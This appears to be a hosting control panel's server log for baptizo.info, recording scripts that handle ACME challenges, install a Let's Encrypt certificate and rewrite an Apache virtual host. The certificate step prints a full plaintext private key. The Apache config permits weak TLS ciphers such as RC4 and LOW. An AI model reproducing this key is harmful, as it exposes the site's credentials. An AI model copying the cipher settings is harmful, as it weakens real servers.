MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-12 19:11:29: Establishing a connection
2026-07-12 19:11:29: Establishing a connection
2026-07-12 19:11:29: 

PUT: /tmp/pkp647988

#!/bin/bash
if [ -d "/var/www/baptizo_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-12 19:11:29: 

chmod 755 /tmp/pkp647988; /tmp/pkp647988; rm /tmp/pkp647988

2026-07-12 19:11:29: 


1


2026-07-12 19:11:31: Establishing a connection
2026-07-12 19:11:31: 

PUT: /tmp/pkp345700

#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
cat > fscx5QTgkwOkR-0bWn9ZTYA3QW98COdRF_vTSgKCC3o <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fscx5QTgkwOkR-0bWn9ZTYA3QW98COdRF_vTSgKCC3o.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 fscx5QTgkwOkR-0bWn9ZTYA3QW98COdRF_vTSgKCC3o
cat > Zl1wxDYUhX5AADXxCvdXyszpGmnD5diuqWiR_8Knxdk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Zl1wxDYUhX5AADXxCvdXyszpGmnD5diuqWiR_8Knxdk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Zl1wxDYUhX5AADXxCvdXyszpGmnD5diuqWiR_8Knxdk


2026-07-12 19:11:31: 

chmod 755 /tmp/pkp345700; /tmp/pkp345700; rm /tmp/pkp345700

2026-07-12 19:11:31: 




2026-07-12 19:11:41: Establishing a connection
2026-07-12 19:11:42: 

PUT: /tmp/pkp776361

#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
rm fscx5QTgkwOkR-0bWn9ZTYA3QW98COdRF_vTSgKCC3o
rm Zl1wxDYUhX5AADXxCvdXyszpGmnD5diuqWiR_8Knxdk


2026-07-12 19:11:42: 

chmod 755 /tmp/pkp776361; /tmp/pkp776361; rm /tmp/pkp776361

2026-07-12 19:11:42: 




2026-07-12 19:11:42: Establishing a connection
2026-07-12 19:11:42: 

PUT: /tmp/pkp657450

#!/bin/bash
temp_file=$(mktemp)
TARGET=17284863e127d2ac83178e4d2ecd603a.crt

cat > $temp_file <<'endmsg'
04:05:82:ad:0e:4a:8f:b4:9d:a5:ba:27:1c:34:73:5f

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBUpqr0gAxE/ltMl8Od4+k0ZkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzEyMTgxMzExWhcNMjYxMDEwMTgxMzEwWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV
FaJzZjnXYvpREfptGhW81dQXImoflX+J2R+6LKGmDiERbcwiwE1cNWH0uJhobT4j
dasfdCbikm1Umnd/Z5UMPBQcdvvEXSxJBVMumjWgp/uI15ACcxE1uNS8bi5mED4m
aQaxOVwXTJZoovuH1PufvMXUuWCERJoXWud8h3c62OQ8sxPDKxLMeWQt02EH5fdf
0SF/srJWKXWBpxV8Ny7WuJE4coDpf7OwAGN4qpf6oquqqZqVV0ds/jfVP4P/oPN5
m8E+NpF0PlimIowWMDlf3IBkHCl/9/78NnulUrtbrJkZH5rwai1DuGixB3/4Fdh9
xfwiWOpDkK1Wbskcd8JJAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUMs3Xaxnt
hLsRFX+JdGFEzQd1hREwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfUaPsw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVuY3Iu
b3JnLzApBgNVHREEIjAgggxiYXB0aXpvLmluZm+CEHd3dy5iYXB0aXpvLmluZm8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3ly
MS5jLmxlbmNyLm9yZy8xMDEuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcA
yzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGfV74OIwAABAMASDBG
AiEAwImLtoRxue0mscEaGNKaGrEJzrGX0JWKlP0hW3k1IHkCIQD+0iIfapHu/HJr
pqk7AUEfYhHZnmD+5Bhjc9BLAjSbgwB+AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWE
INFzgJ4YGOs6AAABn1e+DzIACAAABQAU6xrMBAMARzBFAiA+u7PX2Zjlf0SZOkHE
OlWXA3eXgt/Tcew8iRr0SJjn5AIhALZ+KSfX85fpHRcF6LOS7ZUdScVneNL+jEdT
ByDXU/k4MA0GCSqGSIb3DQEBCwUAA4IBAQCfHqXtgchVxS7zWK8/sZhZjCWTim1H
ZI+l+nPuMbXf1hpRDGI9clboHTfXUfCc7vPMEZRyYa5KF/2WEydzTOcIpF8ZH6tI
5VKzu9LesRKa+G2WW4T0imxpHGodLQcV6nVg7Q60KltS31yke9DTv2CPnYChCG89
AGmX0WiEmDPVhOik9zEpkbFxCmVGPIjIW8jdQat1xqe6sYdOntaCJ+eCVxLz5BjF
idfSyrYGJmw4iwKnlGGGKsdSrD4F9wKp/dEGbNakVOsaFj1SBshxOlyzdE6xpZAz
Kif7B8LkoinlH4uOzwv0WphdUg16IysPbgU9+JQPm8zkhdmVY89uh1qv
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCVFaJzZjnXYvpR
EfptGhW81dQXImoflX+J2R+6LKGmDiERbcwiwE1cNWH0uJhobT4jdasfdCbikm1U
mnd/Z5UMPBQcdvvEXSxJBVMumjWgp/uI15ACcxE1uNS8bi5mED4maQaxOVwXTJZo
ovuH1PufvMXUuWCERJoXWud8h3c62OQ8sxPDKxLMeWQt02EH5fdf0SF/srJWKXWB
pxV8Ny7WuJE4coDpf7OwAGN4qpf6oquqqZqVV0ds/jfVP4P/oPN5m8E+NpF0Plim
IowWMDlf3IBkHCl/9/78NnulUrtbrJkZH5rwai1DuGixB3/4Fdh9xfwiWOpDkK1W
bskcd8JJAgMBAAECggEADociyYDdg7Ib5BwoY/4pJOzn06+0cvESkja1jMlRbbXt
99DUFh7Y0XKySDK+eo6kTrhMvXshvu23kbye7UXR+ts8t0Yw/c9GkLPgI0GlY2Th
pVG8StpqHVFICdGC2/20algzVFnbZSA/F/tDhgncBPjt6yJ717ShTEO9HLmAUoLI
ezR555YM6RgJoOKQWTCvGn0mmPQlIzN84rzPm8l17fKLxt6xM9PZzl4b6OysCvJ2
MyY1Wu7t2Gj3d8pvFxcgWVUMx3/dKeFc5DIf+EWBjjwTRbi6NWC55gnI+y8KixGl
ZoW40+QzKYwzfK9YZUN3xMb0xKQEups1F1T7ylvsMQKBgQDR+DLsLtJlvRUy1rDU
cb/ZG0tolkpBmTg9HbKora8rw6IGjkUpmmf9/bVXmHho23BJTr5Jbyqq2Wkpv/dp
qNVFrG+X4mAfgQiZ/m07zFPv4rHk30q2raldnNAhVwv0FLA07Hp1xmldBaZ/FE72
wCxHyuF7scZ3K3X+6XPPkGdqowKBgQC1xHpvHvqRc6Fl3PKXBL4cBiO+Hl7ts6ZG
BsLJI5joQds+IB74vDXaOrblfzLZzcWH8Ua5GbA4W6OOATHkd7RztSlZ40y//4Tf
wEeiSXLWgMG/lmxvyW9WOO5DyYNyPoMnp7GU45KJdk+aLQrPxqc0+V2Hcl5Q5oeI
YyYDaxv6IwKBgQDAgjZ2Eyu2OdlQxkRUU4JZFMxbtMeaQ1eruSnPu4aKspBAQHqq
/TVxSwbTrChhwye9HqQaggD1qeXgcG/wAOqhOcsKz3PgDpcLUZlnJRykKQ1/UTaY
LLrG6HpuxvdfrwQrUdGpX+PEdOTFSKJpW6J9pEZ9+W2EX2WM9Q/Ic5ZNzwKBgQCf
hLXaTXqjKbJMPhKcHGpnF7BIikjPHSlgLVDGyrnHovww0mm76xjr0zltwSq0YNTp
EAL8MSIo46tu1XeexLsWDLgkjcluemV3JDz5nLHutALVC8NQe5x9M+tOjEwSd/AM
XiwHuYyBnNYRPVROsk1NvUaqtuE06IurUzAqMdbUtwKBgD+ofENTKKhrZ/gr3zLQ
tztj2vhfJWFKyFD3ppK1z4BpJ8q6R06oLPR/gnLsu/i7mqxJNVV9HCdrZrhDZiaX
M3kDSy4ADHcdrPaKraaefqFYHPFKPxajx/1ub3Fd6H1OMGfZ8+I9ynfu9iDIBs63
EbsoUz4YQwLlnnIO3BsWLWbA
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-12 19:11:42: 

chmod 755 /tmp/pkp657450; /tmp/pkp657450; rm /tmp/pkp657450

2026-07-12 19:11:42: 


dir=/etc/ssl/certs


2026-07-12 19:11:42: 

PUT: /tmp/pkp298601

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/baptizo_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-12 19:11:42: 

chmod 755 /tmp/pkp298601; /tmp/pkp298601; rm /tmp/pkp298601

2026-07-12 19:11:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf 40

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-12 19:11:42: 

PUT: /tmp/pkp308990

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=baptizo_www_info.conf
TARGET=/etc/apache2/sites-enabled/baptizo_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
